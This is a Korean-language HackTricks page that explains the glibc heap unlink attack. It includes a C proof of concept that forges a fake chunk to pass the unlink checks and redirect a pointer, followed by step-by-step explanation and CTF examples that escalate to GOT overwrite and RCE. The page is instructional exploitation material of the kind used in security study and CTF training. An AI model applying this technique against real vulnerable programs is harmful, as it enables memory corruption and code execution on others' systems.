hacktricks/binary-exploitation/libc-heap/unlink-attack.md

152 lines
10 KiB
Markdown
Raw Normal View History

# Unlink Attack
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
다른 HackTricks를 지원하는 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
## 기본 정보
이 공격이 발견될 당시 대부분 WWW (Write What Where)를 허용했지만, 일부 **검사가 추가**되어 공격의 새 버전이 더 흥미롭고 더 복잡하며 **쓸모없는** 것으로 만들어졌습니다.
### 코드 예시:
<details>
<summary>코드</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
```
</details>
* 공격은 tcaches가 사용될 경우 작동하지 않습니다 (2.26 이후)
### 목표
이 공격은 **덩어리를 가리키는 포인터를 자신의 3 주소 앞으로 변경**하는 것을 가능하게 합니다. 이 새로운 위치(포인터가 위치했던 곳 주변)에 흥미로운 내용이 있으면, 다른 제어 가능한 할당/스택 등이 있을 수 있어 더 큰 피해를 일으킬 수 있습니다.
* 만약 이 포인터가 스택에 위치했다면, 이제 3 주소 앞을 가리키고 있기 때문에 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 심지어 canary를 건드리지 않고 반환 주소를 수정할 수 있을 것입니다.
* CTF 예시에서, 이 포인터는 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들고 읽고 쓸 수 있게 되면, 다른 포인터들을 다른 주소를 가리키도록 만들 수 있습니다.\
사용자가 다른 할당도 읽고 쓸 수 있기 때문에 정보를 유출하거나 임의의 위치(예: GOT)에 새 주소를 덮어쓸 수 있습니다.
### 요구 사항
* 메모리(예: 스택)에서 일부 제어를 얻어 일부 속성에 값을 제공하여 덩어리를 몇 개 만들 수 있어야 합니다.
* 가짜 덩어리의 포인터를 설정하기 위해 스택 유출이 필요합니다.
### 공격
* 두 개의 덩어리가 있습니다 (chunk1 및 chunk2)
* 공격자는 chunk1의 내용과 chunk2의 헤더를 제어합니다.
* chunk1에서 공격자는 가짜 덩어리의 구조를 만듭니다:
* 보호 기능을 우회하기 위해 `size` 필드가 올바른지 확인하여 `corrupted size vs. prev_size while consolidating` 오류를 피합니다.
* 그리고 가짜 덩어리의 `fd``bk` 필드가 chunk1 포인터가 저장된 위치를 가리키도록 만들어줍니다. 각각 -3 및 -2의 오프셋을 사용하여 `fake_chunk->fd->bk``fake_chunk->bk->fd`가 실제 chunk1 주소가 있는 메모리(스택) 위치를 가리키도록 합니다:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* chunk2의 헤더는 이전 덩어리가 사용되지 않았음을 나타내고, 가짜 덩어리가 포함된 크기가 크기임을 나타내도록 수정됩니다.
* 두 번째 덩어리가 해제되면 이 가짜 덩어리가 연결 해제됩니다:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* 이전에 `fake_chunk->fd->bk``fake_chunk->bk->fd`가 동일한 위치(스택에 chunk1이 저장된 위치)를 가리키도록 만들어졌으므로(유효한 연결된 목록이었습니다). **두 위치가 동일한 곳을 가리키고 있기 때문에** 마지막 것만(`fake_chunk->bk->fd = fake_chunk->fd`) **적용**됩니다.
* 이로 인해 스택에 있는 chunk1의 포인터가 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씌워집니다.
* 따라서, 공격자가 다시 chunk1의 내용을 제어할 수 있다면, **스택 내부에 쓸 수 있게 되어 canary를 건드리지 않고 반환 주소를 덮어쓰고 로컬 변수의 값을 수정하고 포인트를 변경할 수 있을 것**입니다. 또한 다시 chunk1이 스택에 저장된 주소를 다른 위치로 변경할 수 있게 되면, 공격자가 다시 chunk1의 내용을 제어할 수 있다면 어디든 쓸 수 있을 것입니다.
* 이것이 가능했던 이유는 **주소가 스택에 저장**되어 있었기 때문입니다. 위험 및 악용은 **가짜 덩어리의 주소가 어디에 저장되어 있는지**에 따라 달라질 수 있습니다.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## 참고 자료
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF에서 심지어 unlink 공격을 찾는 것이 이상할 수 있지만, 이 공격이 사용된 writeup을 확인할 수 있는 몇 가지 예시가 있습니다:
* CTF 예시: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* 이 예시에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격은 여기에 덩어리를 할당할 수 있도록 수행되어, malloc된 주소의 배열의 포인터를 제어할 수 있게 됩니다. 그런 다음, 이러한 주소의 덩어리 내용을 수정할 수 있는 다른 기능이 있어 GOT를 가리키는 주소를 수정하여 leaks 및 RCE를 얻을 수 있습니다.
* 다른 CTF 예시: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* 이전 예시와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당 주소가 배열 시작 부분보다 앞에 있는 몇 가지 위치를 가리키도록 만들고, 그런 다음 이 새 위치에 할당을 덮어씁니다. 따라서, 다른 할당의 포인터를 가리키도록 덮어쓸 수 있어 atoi의 GOT를 가리키도록 포인터를 덮어쓰고 libc leak을 얻기 위해 이를 출력하고, 그런 다음 atoi GOT를 one gadget 주소로 덮어쓸 수 있습니다.
* unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예시: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* 사용자 정의 malloc의 FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있습니다. 또한 힙에 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 덩어리에 쉘코드를 실행할 수 있는 함수로 가리킬 수 있습니다.
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 마스터하세요</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>